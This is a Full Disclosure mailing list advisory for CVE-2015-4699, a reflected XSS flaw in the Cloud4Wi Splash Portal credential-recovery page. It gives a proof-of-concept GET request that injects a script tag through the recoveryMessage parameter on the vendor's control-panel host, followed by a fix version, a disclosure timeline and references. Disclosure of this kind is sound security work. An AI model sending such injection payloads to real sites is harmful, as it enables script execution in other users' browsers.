[FD] CLOUD4WI SPLASH PORTAL REFLECTED XSS VULNERABILITY – CVE-2015-4699

["agotouning@xxxxxxxxx" <agotouning@xxxxxxxxx>]

CLOUD4WI SPLASH PORTAL Reflected XSS vulnerability
Quantum Leap Advisory: CLOUD4WI SPLASH PORTAL Reflected XSS vulnerability – 
Adivsory # CVE-2015-4699
Affected Product: CLOUD4WI SPLASH PORTAL
Credits: Vulnerability discovered by Agostino Parentela of Quantum Leap 
s.r.lExecutive SummaryUsing a specially crafted HTTP request, it is possible to 
exploit a lack in the neutralization of the pages output which includes the 
user submitted content. Successful exploitation of the vulnerabilities, results 
in the execution of arbitrary HTML and script code in user’s browser in context 
of the vulnerable web application trough a “Reflected XSS”.Proof of ConceptIt 
has been discovered a reflected XSS vulnerability on to ControlPanel  page in 
Cloud4wi Splash Portal. Below you can find a proof of concept of the 
vulnerability: go to “Forgot your credentials?” pageAfter compile form of 
username and submit the request, the server return a message of error because 
“Invalid username” with the URL 
“?recovery=1&recoveryMessage=Invalid%20username”. Here it’s possibile to 
inject a malicius code.GET 
/?recovery=1&amp;recoveryMessage=Invalid%20username”);><script>alert(“XSS”);</script>
 HTTP/1.1
Host: controlpanel.cloud4wi.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 
Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-aliveFigure 1 shows the arbitrary code executed in the user 
browser context.SolutionTo fix the security issue we recommend to update at new 
version 5.9.7, the vendor has resolved this issue.Disclosure Timeline29/04/2015 
– Vulnerability Discovered
08/05/2015 – Initial vendor notification
30/07/2015 – The vendor fixed the vulnerability
04/08/2015 – Public advisoryReferences[1] 
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
[2] 
https://cloud4wi.zendesk.com/hc/en-us/articles/204956829-Cloud4Wi-5-9-7-Release-Note

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/